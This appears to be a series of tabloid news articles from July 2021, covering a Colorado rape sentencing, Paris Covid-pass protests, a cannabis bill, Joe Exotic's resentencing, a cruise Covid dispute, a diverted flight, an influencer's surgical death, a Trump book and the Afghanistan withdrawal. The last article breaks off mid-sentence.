Serial rapist Tre Carrasco, 26, has been sentenced to 136 years in Colorado prison after being convicted of 11 charges, including felony sexual assault in the rape of an au pair and attempted kidnapping of another woman in 2019

A Kansas man convicted of sexual assault in the rape of a woman in suburban Denver, and of assaulting and carjacking another woman was sentenced to life in Colorado, after a judge told him that no woman in the nation would be safe if he is free.

Serial rapist Tre Carrasco, 26, was sentenced last Friday by Arapahoe County District Judge Ben Leutwyler to a total of 136 years in prison.

Carrasco was convicted in May of nearly a dozen charges, including felony sexual assault in the rape of an au pair in Cherry Hills Village in February 2019 and the attempted kidnapping of another woman whose vehicle he stole outside an Aurora gym.

'I am fully convinced, 100 per cent, that there is no woman safe in America if you are out of prison,' Leutwyler told Carrasco in court, reported The Aurora Sentinel.

'You will continue to rape people. You will steal from them, you will break into their homes, break into their cars; you will do whatever you feel you want to do.'

Judge Ben Leutwyler (left) told Carrasco in court: 'I am fully convinced, 100 per cent, that there is no woman safe in America if you are out of prison'

A native of Hays, Kansas, Carrasco was sentenced in that state to more than eight years in prison for a violent sexual assault in 2011.

Carrasco also was accused of raping another woman at gunpoint in the passenger seat of her car in Kansas days before the Colorado crimes. He has yet to face charges against him in that case.

Tre Carrasco is found guilty of 11 charges: Second-degree kidnapping with a deadly weapon Sexual assault with a deadly weapon Burglary with a deadly weapon Aggravated robbery with a deadly weapon Two counts of aggravated motor vehicle theft Two counts of criminal trespass Attempt to influence a public servant False reporting Driving a motor vehicle without a license Advertisement

Carrasco was sentenced to two years in Colorado state prison in 2020 after pleading guilty to a felony contraband charge. He was detained at the Arkansas Valley Correctional Facility in Buena Vista.

Arapahoe County Deputy District Attorney Casey Brown called Carrasco a 'predator' and argued that he cannot live out in the world without victimizing women.

'He feels entitled to his victims, and he has left a wake of destruction behind him,' the prosecutor added.

Brown detailed in court Carrasco's extensive criminal history, beginning when he was just 13 years old, peeping into people's windows and sexually assaulting women in Hays.

In 2011, Carrasco, then aged 16, was convicted at trial for pinning down a woman and forcing her to perform oral sex on him.

He was sentenced in 2013 to more than eight years in that case and was released from prison just days before going on the crime spree in Colorado.

On February 4, 2019, prosecutors said Carrasco raped a woman at gunpoint in the passenger seat of her car in Kansas.

Three days later, Carrasco tried to kidnap a woman outside the 24-Hour Fitness on South Abilene Street in Aurora, Colorado. The victim was able to get away, but the attacker stole her car.

Carrasco went on the crime spree in Colorado in February 2019 just days after being released from prison in Kansas, where he had served eight years for a violent sexual assault

On February 12, Carrasco used the stolen car to drive to a home in Cherry Hill Village, where he forced his way inside after pretending to work for the water company, pinned down the homeowners' nanny and violently raped her while repeatedly calling her a 'b****.'

Carrasco stole $100 from the victim's wallet and fled, but was arrested about five hours later after being pulled over in the stolen car.

A public defender representing Carrasco at his sentencing argued before the car that his client had not had the chance to rehabilitate himself because he had been in the foster care system from age 11 and spent his teens and early 20s in prison.
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Protesters in Paris were tear gassed during violent demonstrations against France's new Covid laws making jabs compulsory for health workers and demanding vaccine passports for bars and restaurants.

Hundreds of cafe owners, hospital workers and parents, some chanting 'Liberty! Liberty!', took to the French capital on Bastille Day to rebel against President Macron's controversial plans that were introduced this week to tackle the nation's surging coronavirus cases.

Large crowds were confronted by riot police, who fired tear gas to try to disperse the advancing group. Protesters and police kicked the tear gas canisters at each other, and cyclists calmly weaved through the crowd.

Some of those protesting set a mechanical digger alight and flipped rubbish containers, while others wore badges that refuted the new measures: 'No to health passes'.

In April, President Macron promised vaccine passports would 'never be used to divide' the French. But, by mid-July, the French premier is demanding concerts, hospitality venues and more to check for proof of vaccination status or a negative PCR test in a bid to boost the nation's vaccination rates.

Restrictions will expand by August, meaning those wanting a beer in a bar, families going out for dinner, public transport passengers and care home visitors will all require proof of a negative test or vaccine.

On September 15, it will become mandatory for healthcare workers and carers to receive a coronavirus vaccine - with threats of termination of employment should they refuse.

Hundreds of protesters chanting 'Liberty!' marched through Paris to rebel against Emmanuel Macron's controversial plans

The demonstrations turned ugly when activists clashed with riot police, who fired tear gas into the crowds. Pictured: A masked demonstrator kicks back a gas canister in central Paris

Many doctors and scientists had been urging Macron to instill tougher measures to contain the virus.

He appears to have heeded their advice, and the 'pass sanitaire' - a written record or application that shows proof of a negative PCR test or a person's vaccination status - was born.

Speaking in an address earlier this week, Mr Macron said: 'If we do not act today, the number of cases will continue to increase.'

While vaccines will not be mandatory for those working outside of the healthcare sector, Macron added it was a choice of 'individual responsibility... but also a matter of freedom'.

But critics have slammed the French president for stripping parts of the population of their free will and accuse him of singling out those who refuse to vaccine.

Police officers detain a demonstrator during a protest against the new measures announced by French President Emmanuel Macron

A French police officer helps a woman with a dog during the demonstrations that kicked off on Bastille Day

A man wearing large goggles holds a French national flag as he takes part in a march in central Paris on July 14, 2021

Organizers of this year's parade dubbed it an 'optimistic Bastille Day' aimed at 'winning the future' and 'celebrating a France standing together behind the tricolor (flag) to emerge from the pandemic.'

While that optimism was widely felt in France a few weeks ago, clouds have returned to the national mood as the delta variant fuels new infections.

Last year's parade was canceled and replaced by a static ceremony honoring health care workers who died fighting COVID-19. France has lost more than 111,000 lives overall to the pandemic.

Pictures showed mechanical equipment ablaze in the streets of Paris and protesters clashing violently with riot police in the city's centre and eastern areas.

Leading Wednesday's parade were members of a European force fighting extremists in Mali and the surrounding Sahel region.

Macron announced last week that France is pulling at least 2,000 troops from the region because of evolving threats, and focusing more efforts on the multi-national Takuba force instead.

French cafe owners, hospital workers and parents are pushing back against Emmanuel Macron's decision to instate a Covid pass for anyone over 12 visiting a restaurant and requiring all healthcare workers in the country get vaccinated

Riot police face off against demonstrators in central Paris during a large protest against a governmental decision to impose Covid-19 tests for unvaccinated people who want to eat in restaurants

The demonstrators, some wearing masks, set-up large barricades in central Paris to prevent police access

Among others honored at the parade were military medics who have shuttled vaccines to France's overseas territories, treated virus patients or otherwise helped fight the pandemic.

Mirage and Rafale fighter jets thundered past in formation.

In the final moments of the parade, two horses stumbled, throwing their Republican Guard riders onto the pavement. The guards quickly brought the horses under control and led them away.

Just before the ceremony, a soldier identified as Maximilien proposed to his girlfriend in a picturesque moment on the backdrop of the Arc de Triomphe, earning a round of hearty applause.

Macron and his wife Brigitte spoke at length after the ceremony with families of troops killed or wounded in the line of duty.

On the eve of the event, Macron reiterated his push for greater defense cooperation among European countries, and greater global defense efforts against Islamic extremists.

'This moment of conviviality, of reunion... is first and foremost for us the opportunity to address our brothers in arms and their families, and give them a message of gratitude,' Macron said.

Wednesday, July 14 is recognised as 'Bastille Day' in France and marks the storming of the Bastille prison in eastern Paris on the same date in 1789, which is commemorated as the birth of the French Revolution.
Senate Democrats on Wednesday rolled out draft legislation that would federally decriminalize marijuana in a bill sponsored by Majority Leader Chuck Schumer, Cory Booker and Ron Wyden.

The bill would remove pot from the list of controlled substances and allow stronger regulation and taxation of a drug that has been legalized in several states, and the multi-billion-dollar legal industry it has created.

The draft legislation would also expunge federal non-violent cannabis convictions so Americans 'don't have to live with records hanging over their heads,' Schumer said.

'This is monumental, because at long last we are taking steps in the Senate to right the wrongs of the failed war on drugs,' Schumer said at a press conference with the bill's other two sponsors, Senator Cory Booker of New Jersey and Oregon's Senator Ron Wyden.

The three lawmakers framed anti-marijuana laws as predominantly impacting people of color.

Senate Democrats on Wednesday rolled out draft legislation that would federally decriminalize marijuana in a bill sponsored by Majority Leader Chuck Schumer (center), Cory Booker (left) and Ron Wyden (right)

According to the draft, the Cannabis Administration and Opportunity Act 'aims to end the decades of harm inflicted on communities of color by removing cannabis from the federal list of controlled substances and empowering states to implement their own cannabis laws.'

The legislation would create a trust funded by marijuana tax revenue that would be reinvested in communities most impacted by the war on drugs, and help black and other minority entrepreneurs overcome barriers of access to the cannabis industry.

Booker pointed to the 'hypocrisy' of incarcerating thousands of young people of color arrested for possessing small amounts of marijuana, leaving them with crippling criminal records, 'for doing things that presidents and Congress people and senators have done.'

'This is a grievous reality,' Booker added. 'Lives are being destroyed every single day.'

Booker pointed to the 'hypocrisy' of incarcerating thousands of young people of color arrested for possessing small amounts of marijuana, leaving them with crippling criminal records, 'for doing things that presidents and Congress people and senators have done'

Adult recreational use of marijuana has been legal in 18 of the 50 US states and the capital city Washington, while medical use is now legal in 37 states.

And fully 70 percent of Americans support marijuana legalization, Schumer said.

But he acknowledged the bill could go up in smoke, especially with Republicans likely to use the filibuster tactic to block the legislation unless it has support from 60 senators.

According to the draft, the Cannabis Administration and Opportunity Act 'aims to end the decades of harm inflicted on communities of color by removing cannabis from the federal list of controlled substances and empowering states to implement their own cannabis laws'

Senator Chuck Grassley, the top Republican on the Judiciary Committee, said 'This new bill puts the cart before the horse.' He added that marijuana use needs more research.

Democrats currently control the 50-50 Senate, and getting 10 Republicans on board would be a heavy lift.

'We don't have the votes necessary at this point,' Schumer said.

'We're going to show it to the others... and we'll see if we can get the support.'

The bill among other things seeks to help communities of color damaged by years of aggressive federal drug policy, and calls for expunging nonviolent cannabis-related convictions from federal records.

Steven Hawkins, executive director at the Marijuana Policy Project, called the draft a 'promising first step' and said he was 'hopeful that it will lead to negotiations and bipartisan support for an inclusive and equitable legal cannabis industry.'
Jailed 'Tiger King' star Joseph Maldonado-Passage, AKA Joe Exotic, had his 22-year prison sentence for a failed murder-for-hire plot conviction vacated by an appeals court judge.

According to court documents filed Wednesday, the judge reaffirmed Exotic's conviction, but decided to remand him for resentencing.

The court has not yet set a resentencing date.

Former zookeeper Exotic, 58, was arrested in September, 2018 on suspicion of hiring two men to murder rival and Big Cat Rescue activist Carole Baskin.

'We hold that the district court acted within its discretion by allowing Baskin to attend the full trial proceedings despite her being listed as a government witness, but that it erred by not grouping the two murder-for-hire convictions at sentencing,' the appeal said.

An appeals court judge vacated the Tiger King Joseph Maldonado-Passage, AKA Joe Exotic's, 22-year sentence on a murder for hire conviction Wednesday, and he will need to be resentenced at a later date

Prosecutors said Exotic gave someone $3,000 to travel from Oklahoma to Florida to murder Baskin and agreed to pay thousands more after the deed.

After a week-long trial in March 2019, Exotic was convicted on two counts of attempted murder for hire, and 17 charges of federal animal abuse.

He was sentenced on Jan. 22, 2020 and has remained in prison since.

The guidelines the judge used at trial had called for a sentence of between 22 and 27 years.

The court sent the case back for resentencing, saying the appropriate guidelines call for a sentence between 17 and half to around 22 years, meaning he could potentially receive a lighter sentence.

Throughout the course of his prison term Exotic repeatedly has made appeals for a presidential pardon, with his most recent in May, when he announced that he had been diagnosed with prostate cancer.

In a social media post, Exotic wrote: 'John Phillips [Joe's lawyer] has received my medical records from FMC Fort Worth and my PSA count came back very high for prostate cancer.

Exotic has been serving out his prison sentence since January, 2020

'The prison has approved testing to verify what stage it is in. My body is tired, I have lost a tremendous amount of weight, the mouth sores are out of control, I throw up more than I eat.'

He added that he didn't 'want anyone's pity', but was instead keen for a pardon from 'President Biden, VP Harris and the Attorney General', and he accused the police and the Department of Justice of corruption.

Exotic went on: 'Make this right and sign that pardon that Trump left behind so I can go home and get proper medical care and proper food.

Exotic has repeatedly made pleas for a presidential pardon, first to former President Donald Trump, and most recently to President Joe Biden, as he revealed on social media that he had been diagnosed with prostate cancer

'Thank you for all the love and support from all over the world. I love you all. Wish me luck#JusticeForJoeExotic #TigerKing #JoeExotic @JohnPhillips.'

The Kansas native requested a pardon from one-term President Donald Trump back in September, sending him a handwritten letter, then later sued the Justice Department in December as a last-ditch effort. Both efforts failed.

He most recently hired a new legal team, and they plan to use unaired Tiger King footage to push for a new trial.

His nemesis: Carole Baskin is pictured with husband Howard at Big Cat Rescue

Attorney John Phillips of Phillips & Hunt, who previously represented the family of Baskin's missing husband Don Lewis, made the announcement in a video on Joe's Twitter.

He said: 'We are honored to announce that Joe has retained our firm. We're going to seek a new trial, and justice in the criminal and civil courts.'


A woman who had a complete meltdown as she was being kicked off a Royal Caribbean cruise for a positive COVID test, claims she has tested negative for the virus twice since she returned home to New York.

Laura Angelo, a 57-year-old from the Bronx, and her friend, Valerie, were removed from the Freedom of the Seas ship in Nassau, The Bahamas on July 7, an experience Angelo livestreamed to her Facebook and posted about on TikTok.

The cruise could range from $200 to $400, depending on the length of the trip.

Her videos have since gone viral, with one garnering more than 3 million views on the video streaming app, as she accuses the cruise line of falsifying her test result.

Laura Angelo, a 57-year-old from the Bronx, livestreamed the moment she was kicked off a Royal Caribbean ship for testing positive for the coronavirus

The video shows crew members in hazmat suits rolling her luggage, which is covered in plastic wrap, even though she insists she doesn't have COVID

In the first video, posted to TikTok on @amethyst216s profile, Angelo claims she and Valerie gave the Royal Caribbean staff a copy of their negative COVID test results before embarking on the ship on July 5, and 'they accidentally gave us a band for vaccinated people.'

The video shows her being wheeled down a hallway, as crewmembers in full hazmat gear clean out her room.

They remove her luggage, wrapped in plastic wrap, and cordon off her room, which she said she and Valerie were stuck in since they had to get a COVID test.

As one of the crew members wheels her into an elevator, she says she is 'going to get three COVID tests when I get home.'

She later demands not to be pushed down a ramp leading off the ship to an ambulance, asking members to speak to Keith Murphy, a hotel director for the ship, and demanding paperwork.

'I said don't take me out yet, until Keith signs the papers,' she yells, saying that if they come near her she's going to get out of the wheelchair, and if she gets injured they would be liable.

'I'm gonna be in charge of my own f****** life,' she yells,. 'I'm tired of Royal Caribbean telling me what to do as you're f****** lying to us.'

She then turns the screen back to her and screams: 'You're f****** lying.'

Immediately afterwards, she claims she is about to have a heart attack, saying she feels 'very dizzy,' and has chest pain - which are both also symptomatic of COVID-19.

'If I have a heart attack live on f****** Instagram, won't this be a story for the freakin' press,' Angelo says in the second video, which ends just as a staff member comes down to talk to her, and she calms down.

A man wheeled her down to a ramp, where she was kicked off the ship

Angelo said she was traveling with her friend, Valerie, who was also kicked off the ship

Angelo claims the Royal Caribbean staff falsified her COVID test to make it positive

She tells the man in another video the cruise ship required her and Valerie to get a PCR test before boarding, and when they went through the embarkation process on July 5, they were handed a purple wristband.

She said they asked if the purple wristband was meant for nonvaccinated passengers, and was told that it was, at which point she and Valerie followed others with the purple wristbands - which were actually meant for vaccinated passengers - onto the ship.

The next day, she said, Valerie noticed they were surrounded by security guards, and as they tried to get food, one guard stopped them and asked if they were vaccinated.

'First of all, that's against HIPAA,' Angelo said in the video, adding that the security guard then told her she would have to take another test that she 'knew' would come back positive because she was 'around vaccinated people who were not tested for COVID [who] could be a carrier, asymptomatic and not even know about it.'

She then said she offered to take another test, but wanted to stand there and watch the results come in, but was refused.

'What are they hiding,' she asked.

'I know I don't have COVID,' she continued, explaining that she had the virus three months before. Reinfection, however, is possible, according to the Centers for Disease Control.

The staff member then tells her that a jet is waiting for her and her friend, who would be sent back to Fort Lauderdale while she would be sent to LaGuardia Airport.

Many people on Reddit ridiculed Angelo for her behavior in the viral video

Those videos have since gone viral, with the first video receiving 257,200 views, the second video - in which she yells that she doesn't want to be rolled off the ship - garnering 3 million views, the third video netting 494,500 views and the fourth video getting 11,700 views on TikTok, where Angelo has about 13,900 followers.

Many of the comments ridiculed Angelo for her behavior, with some on Reddit saying the staff should have just forced her off the ship.

Ser_VimesGOT made light of her comments about having a heart attack, writing: 'Go outside then? You know, where the fresh air is and the f****** ambulance.

'Would have loved it if they just wheeled her out as soon as she said that,' he wrote, before imitating the staff members, saying '"Oh s*** guys, she's having a heart attack, quick get her to the ambulance.'"

Another user, the meatbridge, said he hoped it would end with them pushing her chair to the bottom and tilting her out of it, and RollsofCheese asked: 'How can someone get that old and still be so childish and stupid?'

Dr_Harlequin, meanwhile, wrote that it is 'the best Royal Caribbean ad I've ever seen.'

Royal Caribbean requires its passengers to be vaccinated at most of its ports, except those in Florida, where Gov. Ron DeSantis banned cruise lines from refusing service to unvaccinated patrons. It is still 'recommended,' however

The cruise line requires vaccines at most of its cruises, except those that depart from Florida, where Gov. Ron DeSantis banned cruise lines from discriminating against people who do not have vaccines.

The Royal Caribbean website says they are still 'recommended,' though, and that there would be events and venues that would be restricted to vaccinated travelers only onboard their ships.

As of July 1, the line also started requiring 'proof of insurance for coronavirus-related expenses.'

Angelo, though, maintains she did not have COVID, and that the staff made a mistake by giving her and Valerie wristbands for vaccinated members.

She said she tested negative two days before the cruise left the port in Miami and gave those results to the check-in agent at the Miami port.

And in the days since she's been home, she said she received at least two COVID PCR tests, which both came back negative, according to the Miami Herald.

'How ironic that they gave us the wrong bracelet and the test came back positive,' she told the Herald, 'that's baffling to me.

'I just wish they would own up to it,' she added, 'everyone makes mistakes.'
A one hour flight from Las Vegas, Nevada to Stockton, California turned into a 17-hour trip

Passengers aboard Allegiant Airlines flight 161 from Las Vegas to Stockton, California had a journey from hell when their one-hour flight turned into a 17-hour journey.

After taking off from Las Vegas on Monday night, passengers were expecting to land in Stockton, California at 9:30 pm.

But when the plane arrived in Stockton the pilot couldn't get ahold of anybody on the ground in order to get a weather report.

Jade Watts, a passenger on the flight explained to CBS Sacramento: 'It was absolutely horrible.'

'The pilot comes on and says the control tower is closed and they can't land without a weather report.'

The control tower at the Stockton Airport is typically manned from 7 am to 9 pm running on an automated system when the tower is unstaffed.

How passengers boarded the flight on Monday at 8.30pm in Las Vegas and didn't get to their destination in Stockton until 2pm on Tuesday.

Passenger Jade Watts explained that due to an unmanned control tower in Stockton and thunderstorms in Las Vegas a one-hour flight turned into a 17-hour journey for upset passengers

The Stockton Metropolitan's Deputy Director, Helene Nusdbaumer, confirmed with KCRA that the airport's automated surface observing system, or ASOS visibility sensor, failed. But insisted that this kind of issue rarely happens.

'So we had to circle and circle and circle,' eventually the pilot announced that they would have to return to Las Vegas.

Unfortunately, when the plane arrived back in Las Vegas the weather was not clear enough for a landing.

'He comes back on again and says there's a thunderstorm in Vegas and zero visibility,' said Watts.

'They were concerned about gas so we have to go to the closest airport. Where are we going to freaking land?'

The pilot then flew the plane to LAX and the estimated 175 passengers were finally allowed to deplane the flight at around midnight.

But the nightmare wasn't over yet, the passengers were then ushered into a holding room without a bathroom.

Upset passengers were given a $250 ticket voucher but left to sort our their accommodations on their own

The flight to Stockton was then rescheduled for the next day as upset passengers were given $250 ticket vouchers and left to sort out their situation on their own.

Watts recounted, 'There was a guy that said, 'What do we do? Do we need to find hotel rooms, are we on our own?' And the gentleman said, 'Yes, as of right now, you're on your own.''

She remembers a chaotic scene at the airport as people struggled to find accommodations and decide what to do.

'Everybody had to find hotel rooms. There were people sleeping in the airport ... older ladies just kind of walking around by themselves not sure what to do.'

Watts and other passengers finally landed at Stockton Airport at 2 pm on Tuesday 16 hours later than they had planned.

'I think everybody on the flight is very frustrated,' Watts said. 'There was no help given, no instructions. There was no assistance.'
The coroner's report indicates that Mena's death was likely a result of the combination anesthesia and a steroid she had been taking

Preliminary reports attributed her death to a negligent anesthesiologist who allegedly had not be trained to administer anesthetic drugs

Her doctors attempted 'everything medically possible' to save her life but were ultimately unsuccessful

Officials say Mena suffered cardiac arrest after receiving anesthesia and died shortly afterwards

She received the MiraDry treatment, which is promoted as a quick procedure that permanently reduces sweat and odor, at the SkinPiel clinic in Mexico

Mexican bodybuilder and fitness influencer Odalis Santos Mena, 23, died last week after undergoing an elective surgery to combat constant sweating

A popular fitness influencer died last week after undergoing an elective surgery to combat her constant sweating at an allegedly unlicensed medical office.

Mexican bodybuilder Odalis Santos Mena, 23, passed away on July 7 after undergoing the MiraDry treatment, which is advertised as a quick procedure that permanently reduces sweat and odor.

Mena had the procedure at the SkinPiel clinic in Guadalajara, Mexico after the medical practice reportedly recruited her to promote it.

She suffered cardiac arrest after receiving anesthesia and died shortly afterwards, the New York Post reports. SkinPiel employees attempted to perform CPR on Mena but were unable to revive her.

Mexican bodybuilder and Odalis Santos Mena, 23, passed away on July 7 after undergoing the MiraDry treatment at the SkinPiel in clinic Guadalajara, Mexico, which is allegedly unlicensed

Her doctors say Mena suffered cardiac arrest after receiving anesthesia and died shortly afterwards. Preliminary reports attributed her death to a negligent anesthesiologist who allegedly had not be trained to administer anesthetic drugs

Police launched an investigation following her death. Preliminary reports attributed her death to a negligent anesthesiologist who allegedly had not be trained to administer anesthetic drugs.

The Sun reports that SkinPiel was also an unlicensed medical practice. DailyMail.com contacted the clinic, asking for comment on this allegation, and has not heard back.

The coroner's report indicates that Mena's death was likely a result of the combination anesthesia and a steroid she had been taking.

In a statement issued to People en Espanol, the clinic claimed Mena's doctor 'immediately proceeded to do everything medically possible' to save her life including calling an ambulance and bringing in a medical experts to determine if she had consumed any substances.

SkinPiel employees were unable to revive Mena. The clinic claims her doctors 'immediately proceeded to do everything medically possible' to save her life

The coroner's report indicates that Mena's death was likely a result of the combination anesthesia and a steroid she had been taking

SkinPiel alleges that Mena had clenbuterol, creatine and oxandrolone in her system, which they claim to have been unaware of before starting the procedure.

'Upon delivering the signed form to the doctor, he asked [her] again about substance use and [she] verbally reiterated that [she] had not,' the clinic alleged.

Prior to her surgery, Mena, who has more than 147,000 Instagram followers, touted the procedure on her account, assuring her fans that it was safe and effective.

According to MiraDry, the treatment has been used in more than 140,000 treatments globally and was cleared by the U.S. Food and Drug Administration.

MiraDry has been used in over 140,000 treatments worldwide and has FDA clearance. The treatment utilizes heat energy to remove sweat glands reducing perspiration and body odor

The treatment utilizes heat energy to remove sweat glands which allegedly reduces perspiration by 82-percent and body odor by 89-percent. Some patients also see a reduction in armpit hair growth.

It has been known to cause some short-term side effects such as localized soreness or swelling.

MiraDry is the only permanent underarm sweat reduction treatment to receive FDA clearance.

Meanwhile, Mena's loved ones say they are devastated by her death. Her boyfriend and personal trainer, Victor Gomez Carreno, posted a heartfelt tribute on his private Instagram account reading:

'Your actions in life, echo in eternity. I will take you with me forever short, it makes no sense to write here what I feel in my heart @odalis_sm, I love you.'
After seeing Michael Bloomberg get pummeled on the Las Vegas Democratic debate stage, former President Donald Trump viewed himself as a shoo-in for the November presidential election.

Wall Street Journal reporter Michael Bender recalled in his new book Frankly, We Did Win This Election: The Inside Story of How Trump Lost how Trump had invited reporters to watch the February 19, 2020 debate with him aboard Air Force One, as they flew back from a Trump rally that night in Phoenix.

'Trump then started offering his own color commentary: Bloomberg was smart, but not quick. Biden had an awful facelift. Bernie was sharp, and Warren was a good debater, even though she was nasty,' Bender wrote.

'He thought Pete Buttigieg was articulate, and seemed to surprise himself with repeated praise for the former South Bend mayor,' Bender continued.

In a previous conversation that month, Trump had asked pollster Tony Fabrizio who he was most worried about in the Democratic pack.

'Buttigieg,' Fabrizio replied.

Trump brushed that off. 'Buttigieg? That f***ing guy?' Trump said. 'Nah.'

Trump dismissed most of the Democratic candidates after he saw Michael Bloomberg get 'pummelled' in the February 2020 debate, a new book claims

Trump invited reporters to the front cabin of Air Force One to watch the Democratic debate with him on the trip, where he made fun of now President Joe Biden's 'awful facelift.' Here he's seen earlier in the day arriving in Phoenix for his rally

Buttigieg, the former mayor of South Bend, Indiana, won the Iowa caucuses by the traditional metric, and then came in a close second to Sen. Bernie Sanders in New Hampshire.

Bloomberg decided to skip the early primary states - Iowa, New Hampshire, Nevada and South Carolina - and compete for delegates on Super Tuesday, on March 3, instead.

For weeks in January and February, as the specter of the Bloomberg candidacy hung over Trump's re-election campaign, the president would ask everyone who walked through the Oval, 'What do you think of Bloomberg?' Bender's book said.

Bender wrote that Trump enjoyed watching Democratic candidate Michael Bloomberg (pictured) get creamed on the debate stage by Sen. Elizabeth Warren. In the run-up to the debate Trump asked all his advisers if he should be worried about Bloomberg

Trump also said, according to Bender, that Sen. Bernie Sanders (left) was 'sharp.' He mocked Biden's 'awful facelift' and was impressed by Transportation Secretary Pete Buttigieg's (right) performance after previously discounting the ex-mayor's candidacy

Wall Street Journal reporter Michael Bender's new book Frankly, We Did Win This Election: The Inside Story of How Trump Lost

But on the Nevada debate stage, the former New York City mayor and tech billionaire got flattened by Sen. Elizabeth Warren over non-disclosure agreements he had female employees sign.

Bender wrote that the 'clear highlight for Trump was Bloomberg melting down when fellow Democrats onstage, led by Warren, skewered him over his history of sexual harassment allegations and his past support for aggressive police tactics like stopandfrisk.'

'Trump crowed at every stammer he saw onscreen,' Bender said, quoting the then-president saying that Bloomberg 'stutters like Biden!'

At the end of the quick flight between Arizona and Nevada, as Trump always overnighted at his Las Vegas hotel when campaigning out west, he expressed to his traveling press corps how he thought the election would turn out.

'I'm the president and I'm going to stay the president,' Trump shouted at them. 'And you're finally starting to realize that!'
Top U.S. commander in Afghanistan Gen. Austin 'Scott' Miller returned to the U.S. Wednesday after resigning his command, and was greeted by Defense Secretary Lloyd Austin and Chairman of the Joint Chiefs of Staff Gen. Mark Milley.

Both men embraced Miller and greeted him as he arrived at Join Base Andrews near Washington, D.C. They each also patted him on the back.

'Welcome home, General. Well done,' Austin told him.

His homecoming came after President Joe Biden announced the U.S. will withdrawal all U.S. troops by August 31st, even as the Taliban have begun to roll up more territorial gains.

Joint Chiefs of Staff Chairman General Mark Milley, center, greets General Austin Scott Miller, the former top U.S. commander in Afghanistan, with the Secretary of Defense Lloyd Austin, at left, upon Miller's return, at Andrews Air Force Base, U.S. July 14, 2021. Austin returned to the country as the Taliban continue to rack up territorial gains

Secretary of Defense Lloyd Austin (C), greets Gen. Scott Miller, the former top U.S. commander in Afghanistan, with a handshake and an embrace as Joint Chiefs Chairman Gen. Mark Milley, left, looks on

Miller led U.S. and NATO forces in the country for the past three years. He has passed command to another four-star general, Marine Gen. Frank McKenzie, the head of U.S. Central Command, and will operate from his headquarters in Tampa, Florida.

He handed over command at a departure ceremony in Kabul Monday.

'The people of Afghanistan will be in my heart and on my mind for the rest of my life.'

His departure came at a time of sweeping Taliban gains, while once again imposing its strict interpretation of Islamic law.

In a rare public rebuke, former President George W. Bush, who launched the U.S. and allied Afghan war in 2001, told German broadcaster Deutsche Welle, 'This is a mistake.'

'Theyre just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart."

He said of the impact on the Afghan people: 'Theyre just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart."

He stressed the fates of women, children, and innocents. 'I'm afraid Afghan women and girls are going to suffer unspeakable harm,' he said.

The Taliban is enforcing its harsh interpretation of Islamic rule and reverting to its fundamental roots as it makes huge advances across Afghanistan.

Insurgents are issuing new orders to captured territories, banning smoking and beard-shaving and ordering villagers to marry off their daughters to foot soldiers and stopping women from heading out alone.

The Islamist group warned that anyone who breaks the rules 'will be seriously dealt with'.

The Taliban, which was overthrown by the US-led invasion in December 2001, three months after 9/11, is making a resurgence as it capitalizes on the withdrawal of foreign troops.

On Wednesday, militants claimed to have seized the strategic border crossing of Spin Boldak along the frontier with Pakistan.

The Taliban is enforcing its harsh interpretation of Islamic rule and reverting to its fundamental roots as it makes huge advances across Afghanistan (file image)

The interior ministry insisted the attack had been repelled and government forces had control, but a Pakistan security source said the Taliban's white flag was flying over the town.

It comes a day after video emerged of Taliban fighters massacring 22 Afghan commandos who had surrendered in Dawlat Abad, in northern Faryab province.

The Islamists are trying to persuade government troops to abandon their posts on the promise of safe passage back to their homes as they take advantage of the US withdrawal, which has been criticised by former president George W. Bush.

He told German broadcaster Deutsche Welle: 'Afghan women and girls are going to suffer unspeakable harm. This is a mistake.

'They're just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart.'

Last month, the Taliban took Shir Khan Bandar, a northern customs post that connected the country to Tajikistan over a US-funded bridge that spanned the Panj river.

Local factory worker Sajeda told AFP: 'After Shir Khan Bandar fell, the Taliban ordered women not to step out of their homes.

A militiaman loads his rifle as Afghan Special Forces visit a district centre during a combat mission against the Taliban in Kandahar province

'There were many women and young girls doing embroidery, tailoring and shoe-making... The Taliban's order has now terrified us.'

The Taliban ruled Afghanistan from 1996 to 2001 based on a fundamental interpretation of the Koran that has hardly changed in centuries.

Women were ordered to stay indoors unless accompanied by a male relative, girls were banned from school, and those found guilty of crimes such as adultery were stoned to death.

Men had relatively more freedom but were ordered not to shave, would be beaten if they didn't attend prayers, and were told to only wear traditional clothing.

Afghanistan is deeply conservative and some rural pockets of the country adhere to similar rules even without Taliban oversight - but the insurgents have tried to impose these edicts even in more modern centres.

A statement purporting to come from the Taliban circulated on social media this week ordered villagers to marry off their daughters and widows to the movement's foot soldiers.

'All imams and mullahs in captured areas should provide the Taliban with a list of girls above 15 and widows under 45 to be married to Taliban fighters,' said the letter, issued in the name of the Taliban's cultural commission.

Similar edicts were issued by the Ministry for the Propagation of Virtue and the Prevention of Vice during the Taliban's first stint in power.

The group has now denied making any such statement and dismissed it as propaganda as it attempts to project a softer image.

'These are baseless claims,' said Zabihullah Mujahid, a spokesman for the group.

'They are rumours spread using fabricated papers.'

The Taliban now claims to be in control of 80 per cent of Afghan territory, with a major offensive to retake towns and cities expected over the summer (pictured, a Taliban spokesmen holding a news conference last week in Russia)

But people in areas recently taken by the insurgents insist there is truth to the claims.

In Yawan district on the Tajikistan border, the Taliban gathered residents at a local mosque after taking over.

'Their commanders told us that nobody is allowed to leave home at night,' Nazir Mohammad, 32, told AFP.

George W. Bush says it is a 'mistake' to pull out US troops Former U.S. president George W. Bush has criticised the withdrawal of NATO troops from Afghanistan and said civilians were being left to be 'slaughtered' by the Taliban. 'Afghan women and girls are going to suffer unspeakable harm. This is a mistake... They're just going to be left behind to be slaughtered by these very brutal people, and it breaks my heart,' Bush told German broadcaster Deutsche Welle. The former Republican president, who sent troops to Afghanistan in autumn 2001 after the Sept. 11 attacks, said he believed German Chancellor Angela Merkel 'feels the same way'. Bush said Merkel, who is set to retire from politics later this year after 16 years in power, had brought 'class and dignity to a very important position and made very hard decisions'. US and NATO forces began withdrawing from Afghanistan in early May and are due to completely pull out by Sept. 11, some 20 years after they arrived in the war-torn country. Most of the 2,500 US and 7,500 NATO troops who were in Afghanistan when U.S. President Joe Biden detailed the final withdrawal in April have now gone, leaving Afghan troops to fight an emboldened Taliban seemingly bent on a military victory. The country is facing a crisis as the insurgents snap up territory across the countryside, stretching government forces and leading to a fresh wave of internally displaced families, complicated by a renewed outbreak of Covid-19. The United Nations said on Sunday the rising conflict is causing 'more suffering' across the violence-wracked country as it called for continuous financial 